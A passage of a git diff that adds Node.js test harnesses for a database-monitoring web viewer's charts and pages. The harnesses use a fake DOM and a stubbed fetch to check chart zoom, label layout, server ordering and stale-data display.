+  if (savedTz === undefined) delete process.env.TZ;
+  else process.env.TZ = savedTz;
+}
+
+/* 14. a 260 px box (a phone): the line and scatter charts are drawn at the box's own width, so the host clips nothing; no x label
+   overlaps another, the first starts inside the plot and the last ends inside the box. At and below the 200 px floor the width is
+   the floor. (The bar chart's 260 px case is in section 10.) */
+{
+  out.narrow = {};
+  const fit = (labels) => {
+    const g = minGap(labels);
+    return { count: labels.length, gap: g.least, first: g.first, last: g.last };
+  };
+  const line = charts.renderLineChart(specFor());
+  mount(line, 260);
+  out.narrow.line = { ...geometry(line), ...fit(xLabels(line)) };
+  const scatter = charts.renderScatterChart(scatterSpec());
+  mount(scatter, 260);
+  out.narrow.scatter = { ...geometry(scatter), ...fit(xLabels(scatter).filter((l) => l.text.endsWith(" ms"))) };
+  const floor = charts.renderLineChart(specFor());
+  mount(floor, 200);
+  out.narrow.floorLine = geometry(floor);
+  const below = charts.renderLineChart(specFor());
+  mount(below, 150);
+  out.narrow.belowFloorLine = geometry(below);
+}
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-chart-zoom-harness.mjs b/Darling/Darling.Tests/web-chart-zoom-harness.mjs
new file mode 100644
index 0000000000..6293d203c3
--- /dev/null
+++ b/Darling/Darling.Tests/web-chart-zoom-harness.mjs
@@ -0,0 +1,209 @@
+/* Runs the web viewer's shipped charts.js (zoomableLineChart and its helpers, with util.js) against a stand-in DOM,
+   drives a brush across the chart's plot, and prints what was drawn as one line of JSON.
+   WebChartZoomBehaviourTests starts it as
+       node web-chart-zoom-harness.mjs <path to wwwroot/js>
+   The DOM is a node tree of plain objects that keeps the listeners it is given. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[process.argv.length - 1];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  setPointerCapture() {}
+  replaceChild(next, old) {
+    const i = this.children.indexOf(old);
+    if (i >= 0) this.children[i] = next;
+    return old;
+  }
+  /* The drawn plot svg reports the size it was drawn at (one SVG unit is one CSS pixel, 300 px high); any other node is 1000 wide. */
+  getBoundingClientRect() {
+    if (this.tag === "svg" && this.attrs.width) return { left: 0, top: 0, width: Number(this.attrs.width), height: Number(this.attrs.height) };
+    return { left: 0, top: 0, width: 1000, height: 300 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+globalThis.location = { hash: "#/server/A/waits" };
+
+/* A ResizeObserver for the measured-width case only (#5586): while globalThis.__plotW is set, a watched plot box reports that
+   width as the chart is built, as the browser does once it has laid the chart out. Every other case runs with no report, so it
+   keeps the default width (1000). */
+globalThis.ResizeObserver = class {
+  constructor(cb) { this.cb = cb; }
+  observe(target) {
+    if (!globalThis.__plotW) return;
+    target.isConnected = true;
+    this.cb([{ contentRect: { width: globalThis.__plotW, height: 300 } }]);
+  }
+  disconnect() {}
+};
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "chart-zoom-"));
+let charts;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  charts = await import(pathToFileURL(path.join(scratch, "charts.js")).href);
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const find = (node, pred, out = []) => {
+  if (pred(node)) out.push(node);
+  node.children.forEach((c) => find(c, pred, out));
+  return out;
+};
+const T0 = Date.UTC(2026, 0, 1, 0, 0, 0);
+const MIN = 60000;
+const points = Array.from({ length: 101 }, (_, i) => ({ t: new Date(T0 + i * MIN).toISOString().slice(0, 19), v: i }));
+const specFor = () => ({ points, xKey: "t", series: [{ key: "v", label: "v", color: "#fff" }], windowStart: T0, windowEnd: T0 + 100 * MIN });
+
+/* The plot spans viewBox x 58..984 of 1000 (margins l=58, r=16); the stand-in is 1000 px wide, so a client x is a viewBox x. */
+const PLOT_L = 58;
+const PLOT_W = 1000 - 58 - 16;
+const xAt = (minute, width = 1000) => PLOT_L + (minute / 100) * (width - 58 - 16);
+const brush = (host, fromMin, toMin, width = 1000) => {
+  const overlay = find(host, (n) => (n.listeners.pointerdown || []).length)[0];
+  overlay.listeners.pointerdown[0]({ button: 0, clientX: xAt(fromMin, width), pointerId: 1 });
+  overlay.listeners.pointerup[0]({ clientX: xAt(toMin, width) });
+};
+const shown = (host) => {
+  const chips = find(host, (n) => String(n.className || n.attrs.class || "").includes("zoom-chip"));
+  const polys = find(host, (n) => n.tag === "polyline" || n.tag === "path");
+  const labels = find(host, (n) => n.tag === "text").map((n) => n.textContent);
+  return { chip: chips.length > 0, chipText: chips.length ? chips[0].textContent : null, shapes: polys.length, labels };
+};
+const hostChip = (host) => find(host, (n) => n.tag === "button" && n.attrs["aria-label"] === "Reset zoom")[0];
+
+const out = {};
+const scope = charts.chartZoomScope(4);
+
+// 1. a brush maps to the right domain
+const a = charts.zoomableLineChart(specFor(), "c1", scope);
+out.before = shown(a);
+brush(a, 20, 40);
+const z = charts.getChartZoom("c1", scope);
+out.zoom = z ? { from: (z.from - T0) / MIN, to: (z.to - T0) / MIN } : null;
+out.zoomed = shown(a);
+const applied = charts.applyChartZoom(specFor(), z);
+out.appliedPoints = applied.spec.points.length;
+out.appliedWindow = [(applied.spec.windowStart - T0) / MIN, (applied.spec.windowEnd - T0) / MIN];
+
+// 2. a rebuild under the same key re-applies it
+const rebuilt = charts.zoomableLineChart(specFor(), "c1", scope);
+out.rebuilt = shown(rebuilt);
+
+// 3. a different server (page address) or range, or a different chart, is not zoomed
+globalThis.location.hash = "#/server/B/waits";
+out.otherServer = shown(charts.zoomableLineChart(specFor(), "c1", charts.chartZoomScope(4)));
+out.otherServerHeld = charts.getChartZoom("c1", charts.chartZoomScope(4)) !== null;
+globalThis.location.hash = "#/server/A/waits";
+out.otherChart = shown(charts.zoomableLineChart(specFor(), "c2", scope));
+
+// 4. reset restores the full domain
+charts.setChartZoom("c1", scope, z.from, z.to);
+const b = charts.zoomableLineChart(specFor(), "c1", scope);
+out.preReset = shown(b);
+hostChip(b).listeners.click[0]();
+out.postReset = shown(b);
+out.postResetHeld = charts.getChartZoom("c1", scope) !== null;
+
+// 5. a click (under 8 px) is not a brush
+const c = charts.zoomableLineChart(specFor(), "c3", scope);
+brush(c, 50, 50.5);
+out.clickHeld = charts.getChartZoom("c3", scope) !== null;
+
+// 6. a range change drops it: same server, other preset hours
+brush(charts.zoomableLineChart(specFor(), "c4", scope), 10, 30);
+out.otherRange = shown(charts.zoomableLineChart(specFor(), "c4", charts.chartZoomScope(24)));
+
+// 7. a brush over a span with no loaded point stores nothing, and a later rebuild with a point there does not zoom
+const sparse = (pts) => ({ points: pts, xKey: "t", series: [{ key: "v", label: "v", color: "#fff" }], windowStart: T0, windowEnd: T0 + 100 * MIN });
+const mk = (minutes) => minutes.map((m) => ({ t: new Date(T0 + m * MIN).toISOString().slice(0, 19), v: m }));
+const e = charts.zoomableLineChart(sparse(mk([0, 5, 90, 100])), "c5", scope);
+brush(e, 30, 50);
+out.emptyHeld = charts.getChartZoom("c5", scope) !== null;
+out.emptyChip = shown(e).chip;
+const late = charts.zoomableLineChart(sparse(mk([0, 5, 40, 90, 100])), "c5", scope);
+out.emptyLater = shown(late);
+out.emptyLaterBaseline = shown(charts.zoomableLineChart(sparse(mk([0, 5, 40, 90, 100])), "c5b", scope));
+
+// 8. a held zoom whose span has no point any more is dropped when the chart is drawn
+charts.setChartZoom("c6", scope, T0 + 30 * MIN, T0 + 50 * MIN);
+const f = charts.zoomableLineChart(sparse(mk([0, 5, 90, 100])), "c6", scope);
+out.agedOutHeld = charts.getChartZoom("c6", scope) !== null;
+out.agedOutChip = shown(f).chip;
+
+// 9. the zoomed line keeps one neighbour point each side and the plot clips at the edge
+const g = charts.applyChartZoom(specFor(), { scope, from: T0 + 20.5 * MIN, to: T0 + 40.5 * MIN });
+out.edgeMinutes = g.spec.points.map((r) => (Date.parse(r.t + "Z") - T0) / MIN);
+const gh = charts.zoomableLineChart(specFor(), "c7", scope);
+brush(gh, 20.5, 40.5);
+const line = find(gh, (n) => n.tag === "polyline" && String(n.attrs.class).includes("series-line"))[0];
+out.lineClipped = !!line && /^url\(#.+\)$/.test(line.attrs["clip-path"] || "");
+const clipRect = find(gh, (n) => n.tag === "clipPath").map((n) => n.children[0].attrs);
+out.clipRect = clipRect.length ? { x: Number(clipRect[0].x), w: Number(clipRect[0].width) } : null;
+out.lineXs = line ? line.attrs.points.split(" ").map((p) => Number(p.split(",")[0])) : [];
+
+// 11. a chart drawn at a measured width (1600 px, #5586): the same brush maps to the same minutes
+globalThis.__plotW = 1600;
+const wideChart = charts.zoomableLineChart(specFor(), "c8", scope);
+globalThis.__plotW = null;
+brush(wideChart, 20, 40, 1600);
+const wz = charts.getChartZoom("c8", scope);
+out.measuredZoom = wz ? { from: (wz.from - T0) / MIN, to: (wz.to - T0) / MIN } : null;
+
+// 10. a query-only change of the page address keeps the zoom scope
+globalThis.location.hash = "#/server/A/waits?x=1";
+out.scopeQueryStripped = charts.chartZoomScope(4) === scope;
+globalThis.location.hash = "#/server/A/waits";
+
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-clickthrough-pick-harness.mjs b/Darling/Darling.Tests/web-clickthrough-pick-harness.mjs
new file mode 100644
index 0000000000..e013cdb349
--- /dev/null
+++ b/Darling/Darling.Tests/web-clickthrough-pick-harness.mjs
@@ -0,0 +1,301 @@
+/* Runs the pick-list order, the Deadlocks tile explanation, the hide-empty stat tiles and the underscore counts of the shipped
+   web viewer under Node (Darling web click-through, part D). WebClickthroughPickListTests starts it as
+       node web-clickthrough-pick-harness.mjs <path to wwwroot/js> <scenario>
+   `fetch` and the DOM are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    child.parentNode = this;
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  focus() {
+    globalThis.document.activeElement = this;
+  }
+  setSelectionRange(start, end) {
+    this.selectionStart = start;
+    this.selectionEnd = end;
+  }
+  /* Enough of querySelector for ".class": the first descendant that carries the class. */
+  querySelector(selector) {
+    const wanted = String(selector).replace(/^\./, "");
+    const walk = (n) => {
+      for (const c of n.children || []) {
+        if (String(c.className).split(" ").includes(wanted)) return c;
+        const hit = walk(c);
+        if (hit) return hit;
+      }
+      return null;
+    };
+    return walk(this);
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+/* list_servers answers in the registry's order (not the sidebar's); everything else answers an empty object. */
+const REGISTRY = ["PG18", "AG1", "AG2", "PGEXT", "SQL2016"].map((n) => ({
+  server_name: n,
+  display_name: n,
+  engine_kind: n.startsWith("PG") ? "postgres" : "sqlserver",
+}));
+/* /api/fleet answers its cards in the reverse of the sidebar's order, with ids and a favourite-able fifth server. */
+const FLEET_CARDS = [["SQL2016", 5], ["PGEXT", 4], ["AG2", 3], ["AG1", 2], ["PG18", 1]].map(([n, id]) => ({
+  server_name: n, display_name: n, server_id: id,
+}));
+const fetches = [];
+let routeBody = null;
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  await new Promise((r) => setTimeout(r, 5));
+  const routed = routeBody ? routeBody(String(url)) : undefined;
+  const raw = routed !== undefined
+    ? JSON.stringify(routed)
+    : String(url).includes("/api/read/list_servers")
+    ? JSON.stringify({ server_count: REGISTRY.length, servers: REGISTRY })
+    : String(url).includes("/api/fleet")
+      ? JSON.stringify({ cards: FLEET_CARDS, tags: [] })
+      : JSON.stringify({});
+  return { status: 200, ok: true, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "clickthrough-pick-"));
+let modules;
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = {
+    util: await load("util.js"),
+    order: await load("server-order.js"),
+    local: await load("viewer-local.js"),
+    plain: await load("plain-text.js"),
+    panels: await load("panels.js"),
+    fleet: await load(path.join("pages", "fleet.js")),
+    tabs: await load(path.join("pages", "server-tabs.js")),
+    jobs: await load(path.join("pages", "job-history.js")),
+    finops: await load(path.join("pages", "finops.js")),
+    alerts: await load(path.join("pages", "alerts.js")),
+    editor: await load("editor.js"),
+  };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const all = (node, pred, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (pred(node)) found.push(node);
+  (node.children || []).forEach((c) => all(c, pred, found));
+  return found;
+};
+const settle = async () => { for (let i = 0; i < 80; i++) await new Promise((r) => setTimeout(r, 2)); };
+const optionTexts = (root, label) =>
+  all(root, (n) => n.tag === "select" && n.attrs["aria-label"] === label)
+    .map((s) => s.children.map((o) => o.text));
+
+const cards = [["PG18", 1], ["AG1", 2], ["AG2", 3], ["PGEXT", 4], ["SQL2016", 5]].map(([n, id]) => ({
+  server_name: n, display_name: n, server_id: id,
+}));
+
+const scenarios = {
+  order: async () => {
+    modules.order.rememberFleet(cards);
+    const names = (rows) => rows.map((r) => r.server_name || r.value);
+    const plain = names(modules.order.orderServers(REGISTRY));
+    const options = names(modules.order.orderServers(REGISTRY.map((r) => ({ value: r.server_name, label: r.display_name }))));
+    const fromCards = names(modules.order.orderServers([...cards].reverse()));
+    modules.local.toggleFavorite(4);
+    const withFavorite = names(modules.order.orderServers(REGISTRY));
+    const sidebarSameFunction = modules.order.byDisplayName({ display_name: "a" }, { display_name: "b" }) < 0;
+    return { plain, options, fromCards, withFavorite, sidebarSameFunction };
+  },
+  pages: async () => {
+    modules.order.rememberFleet(cards);
+    const jobs = new FakeNode("main");
+    modules.jobs.renderJobHistory(jobs);
+    const fin = new FakeNode("main");
+    modules.finops.renderFinops(fin, "", "utilization");
+    const alerts = new FakeNode("main");
+    modules.alerts.renderAlerts(alerts);
+    await settle();
+    return {
+      jobs: optionTexts(jobs, "Server")[0] || [],
+      finops: optionTexts(fin, "Server")[0] || [],
+      alerts: all(alerts, (n) => n.tag === "select").map((s) => s.children.map((o) => o.text)),
+    };
+  },
+  fleetOptions: async () => {
+    const plain = (await modules.editor.loadFleetOptions()).map((o) => o.label);
+    modules.local.toggleFavorite(5);
+    const withFavorite = (await modules.editor.loadFleetOptions()).map((o) => o.label);
+    return { plain, withFavorite };
+  },
+  deadlocks: async () => {
+    const sub = modules.fleet.deadlockCoverageSub({ servers_total: 9, servers_read: 6 });
+    const full = modules.fleet.deadlockCoverageSub({ servers_total: 9, servers_read: 9 });
+    const tile = modules.fleet.rollup({
+      total_servers: 9, healthy_count: 1, warning_count: 0, critical_count: 0, offline_count: 0,
+      total_blocking_events: 0, total_deadlocks: 0, deadlock_coverage: { servers_total: 9, servers_read: 6, note: "NOTE" },
+    });
+    const subNodes = all(tile, (n) => n.className === "sub partial").map((n) => ({ text: n.text, title: n.attrs.title || n.title || null }));
+    return { text: sub.text, title: sub.title, fullTitle: full.title ?? null, subNodes };
+  },
+  stats: async () => {
+    const data = { a: { n: 3, which: null, elapsed: null, newest: null, why: null }, nullable: { x: null, note: "n/a (reason)" } };
+    const desc = {
+      viz: "stat",
+      stats: [
+        { key: "a.n", label: "Count", format: "int" },
+        { key: "a.which", label: "Which read", format: "text", hideWhenEmpty: true },
+        { key: "a.elapsed", label: "Ran for", format: "ms", hideWhenEmpty: true },
+        { key: "a.keep", label: "Plain dash", format: "int" },
+        { key: "nullable.x", label: "Has why", format: "text", hideWhenEmpty: true, nullKey: "nullable.note" },
+      ],
+    };
+    const node = modules.panels.VIZ.stat(data, desc);
+    return { labels: all(node, (n) => n.className === "label").map((n) => n.text) };
+  },
+  panelHide: async () => {
+    /* A panel that says hideWhenNotCollected is not drawn when its read answers not_collected; one that does not say it is. */
+    routeBody = () => ({ status: "not_collected", message: "This server does not collect this data." });
+    const make = (flag) => modules.panels.renderPanel({
+      title: "T", read: "get_x", params: {}, viz: "stat", stats: [{ key: "n", label: "N", format: "int" }],
+      hideWhenNotCollected: flag,
+    });
+    const hiding = make(true);
+    const keeping = make(false);
+    await settle();
+    return { hidingHidden: hiding.hidden === true, keepingHidden: keeping.hidden === true };
+  },
+  gridOrder: async () => {
+    const rows = [
+      { collector: "b_ok", status: "HEALTHY" }, { collector: "a_gated", status: "not_collected" },
+      { collector: "c_fail", status: "FAILING" }, { collector: "a_ok", status: "HEALTHY" }, { collector: "d_warn", status: "WARNING" },
+    ];
+    const names = (r) => r.map((x) => x.collector);
+    const grid = modules.panels.VIZ.table({ rows }, {
+      rowsKey: "rows", columns: [{ key: "collector", label: "Collector" }], orderRows: modules.panels.worstFirst,
+    });
+    const gridPlain = modules.panels.VIZ.table({ rows }, { rowsKey: "rows", columns: [{ key: "collector", label: "Collector" }] });
+    const firstCells = (g) => all(g, (n) => n.tag === "tr").map((tr) => tr.textContent).filter((t) => /_/.test(t));
+    return {
+      worst: names(modules.panels.worstFirst(rows)),
+      newest: modules.panels.newestFirst("d")([{ d: "2026-10-01" }, { d: "2026-10-03" }, { d: "2026-10-02" }]).map((x) => x.d),
+      drawn: firstCells(grid),
+      drawnPlain: firstCells(gridPlain),
+    };
+  },
+  tabs: async () => {
+    /* The wiring: the PostgreSQL Overview tab hides Instance CPU on a server that is not Aurora and lists Collectors worst
+       first; the Daily Health Calendar opens newest day first. */
+    const collectors = [
+      { collector: "b_ok", status: "HEALTHY", total_runs: 1 }, { collector: "c_fail", status: "FAILING", total_runs: 1 },
+      { collector: "a_ok", status: "HEALTHY", total_runs: 1 },
+    ];
+    routeBody = (url) => {
+      if (url.includes("get_pg_cpu_utilization")) return { status: "not_collected", message: "This server does not collect this data." };
+      if (url.includes("get_collection_health")) return { server: "SRV1", collectors };
+      if (url.includes("get_daily_summary_range")) {
+        return { to_date: "2026-10-03", days: [{ summary_date: "2026-10-01" }, { summary_date: "2026-10-03" }, { summary_date: "2026-10-02" }] };
+      }
+      return undefined;
+    };
+    const ctx = { hours: 24, label: "last 24 hours", signal: new AbortController().signal };
+    const overview = modules.tabs.POSTGRES_TABS.find((t) => t.id === "overview");
+    const pgRoot = new FakeNode("main");
+    modules.util.mount(pgRoot, overview.build("SRV1", ctx));
+    const sqlHealth = modules.tabs.SERVER_TABS.find((t) => t.id === "health");
+    const sqlRoot = new FakeNode("main");
+    modules.util.mount(sqlRoot, sqlHealth.build("SRV1", ctx));
+    const calendar = new FakeNode("main");
+    modules.util.mount(calendar, modules.tabs.dailySummaryPanels("SRV1").map((p) => p));
+    await settle();
+    const panelTitled = (root, title) =>
+      all(root, (n) => String(n.className).startsWith("panel") && n.children[0] && n.children[0].tag === "h3" && n.children[0].textContent.startsWith(title));
+    const rowsOf = (root, re) => all(root, (n) => n.tag === "tr").map((tr) => (tr.children[0] ? tr.children[0].textContent : "")).filter((t) => re.test(t));
+    return {
+      cpuPanels: panelTitled(pgRoot, "Instance CPU").map((p) => p.hidden === true),
+      pgCollectors: rowsOf(pgRoot, /^[a-c]_(ok|fail)/),
+      sqlCollectors: rowsOf(sqlRoot, /^[a-c]_(ok|fail)/),
+      calendar: rowsOf(calendar, /^2026-10-0/),
+    };
+  },
+  plainCell: async () => {
+    /* A column marked `plain` goes through plainText; an unmarked one shows the raw text. */
+    const rows = [{ note: "This is a gap rather than a dead collector: widen hours_back, or use get_collection_health to find where it stopped." }];
+    const cellText = (plain) => {
+      const g = modules.panels.VIZ.table({ rows }, { rowsKey: "rows", columns: [{ key: "note", label: "Note", wrap: true, plain }] });
+      return all(g, (n) => n.tag === "td").map((n) => n.textContent);
+    };
+    /* A Last Error column is marked "named": only the named tokens are put into words, never a count or a get_ word. */
+    const errorRows = [{ note: "Could not find stored procedure 'dbo.get_orders' (timeout=30, sales_2024); widen hours_back or call get_collection_health." }];
+    const namedText = (plain) => {
+      const g = modules.panels.VIZ.table({ rows: errorRows }, { rowsKey: "rows", columns: [{ key: "note", label: "Note", wrap: true, plain }] });
+      return all(g, (n) => n.tag === "td").map((n) => n.textContent);
+    };
+    return { plain: cellText(true), raw: cellText(false), named: namedText("named"), full: namedText(true) };
+  },
+  plain: async () => ({
+    out: JSON.parse(process.env.HARNESS_INPUT).map((t) => modules.plain.plainText(t)),
+  }),
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+const result = await chosen();
+console.log(JSON.stringify({ ...result, rejections }));
diff --git a/Darling/Darling.Tests/web-clickthrough-stale-harness.mjs b/Darling/Darling.Tests/web-clickthrough-stale-harness.mjs
new file mode 100644
index 0000000000..7a910f5099
--- /dev/null
+++ b/Darling/Darling.Tests/web-clickthrough-stale-harness.mjs
@@ -0,0 +1,176 @@
+/* Runs two pieces of the shipped web viewer under Node (#5489): the fleet card / server header metric chips
+   (pages/fleet.js metricBands) for a server that stopped collecting, and the server page's Wait Stats tab, counting the reads
+   it sends. WebClickthroughStaleStateTests starts it as
+       node web-clickthrough-stale-harness.mjs <path to wwwroot/js> <scenario>
+   `fetch` and the DOM are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  focus() {
+    globalThis.document.activeElement = this;
+  }
+  setSelectionRange(start, end) {
+    this.selectionStart = start;
+    this.selectionEnd = end;
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let agPayload = {};
+globalThis.fetch = async (url, init) => {
+  fetches.push(String(url));
+  await new Promise((r) => setTimeout(r, 5));
+  const raw = JSON.stringify(String(url).includes("/api/ag") ? agPayload : {});
+  return { status: 200, ok: true, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "clickthrough-stale-"));
+let modules;
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = {
+    util: await load("util.js"),
+    tabs: await load(path.join("pages", "server-tabs.js")),
+    fleet: await load(path.join("pages", "fleet.js")),
+    ag: await load(path.join("pages", "ag.js")),
+  };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const all = (node, pred, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (pred(node)) found.push(node);
+  (node.children || []).forEach((c) => all(c, pred, found));
+  return found;
+};
+const settle = async () => { for (let i = 0; i < 60; i++) await new Promise((r) => setTimeout(r, 2)); };
+const chips = (node) => all(node, (n) => String(n.className).startsWith("metric-chip")).map((c) => ({ cls: c.className, text: c.textContent }));
+
+const iso = (msAgo) => new Date(Date.now() - msAgo).toISOString().slice(0, 19);
+const card = (over) => ({
+  is_online: true, band: "Healthy", cpu_percent: 0, total_cpu_percent: 0, cpu_severity: "Healthy",
+  available_threads: 77, total_threads: 100, threads_severity: "Healthy", has_memory_pressure: false, memory_severity: "Healthy",
+  memory_mb: 908, buffer_pool_mb: 400, blocking_count: 0, blocking_severity: "Healthy", deadlock_count: 0, deadlock_severity: "Healthy",
+  collector_count: 5, healthy_collector_count: 5, failed_collector_count: 0, collector_severity: "Healthy",
+  last_collection: iso(12 * 86400000), ...over,
+});
+
+const scenarios = {
+  cards: async () => ({
+    offline: chips(modules.fleet.metricBands(card({ is_online: false }))),
+    online: chips(modules.fleet.metricBands(card({ last_collection: iso(1000) }))),
+  }),
+  agStale: async () => {
+    /* The Availability Groups card subtitle of a group the page was told is stale, and of a fresh one. */
+    const group = (over) => ({
+      group_name: "AG1", server_name: "SRV1", collection_time: iso(12 * 86400000), severity: "Unknown",
+      replicas: [], databases: [], ...over,
+    });
+    const subtitles = async (g) => {
+      agPayload = { generated_at: iso(0), availability_groups: [g] };
+      const root = new FakeNode("main");
+      await modules.ag.renderAg(root);
+      return all(root, (n) => String(n.className).includes("status-line")).map((n) => ({ text: n.textContent }));
+    };
+    return {
+      stale: await subtitles(group({ is_stale: true })),
+      fresh: await subtitles(group({ is_stale: false, collection_time: iso(1000), severity: "Healthy" })),
+    };
+  },
+  waits: async () => {
+    const tab = modules.tabs.SERVER_TABS.find((t) => t.id === "waits");
+    const root = new FakeNode("main");
+    modules.util.mount(root, tab.build("SRV1", { hours: 168, label: "last 7 days", signal: new AbortController().signal }));
+    await settle();
+    const count = (name) => fetches.filter((f) => f.includes("/api/read/" + name + "?")).length;
+    return { spinlock: count("get_spinlock_stats"), latch: count("get_latch_stats"), total: fetches.length };
+  },
+  joinAbort: async () => {
+    /* Two callers join one read; the first one's signal aborts: it gets "aborted", the second still gets its answer,
+       and the request was sent once. */
+    const a = new AbortController();
+    const first = modules.util.readTool("get_spinlock_stats", { server: "SRV1", hours: 24 }, a.signal);
+    const second = modules.util.readTool("get_spinlock_stats", { server: "SRV1", hours: 24 });
+    a.abort();
+    const r1 = await first;
+    const r2 = await second;
+    const sentTogether = fetches.length;
+    const later = await modules.util.readTool("get_spinlock_stats", { server: "SRV1", hours: 24 });
+    return { first: r1.kind, second: r2.kind, later: later.kind, sentTogether, sent: fetches.length };
+  },
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+const result = await chosen();
+console.log(JSON.stringify({ ...result, rejections }));
diff --git a/Darling/Darling.Tests/web-collection-caveats-harness.mjs b/Darling/Darling.Tests/web-collection-caveats-harness.mjs
new file mode 100644
index 0000000000..b5707ec02c
--- /dev/null
+++ b/Darling/Darling.Tests/web-collection-caveats-harness.mjs
@@ -0,0 +1,136 @@
+/* Runs the shipped Collection Health tab of both engines (wwwroot/js/pages/server-tabs.js) against a scripted
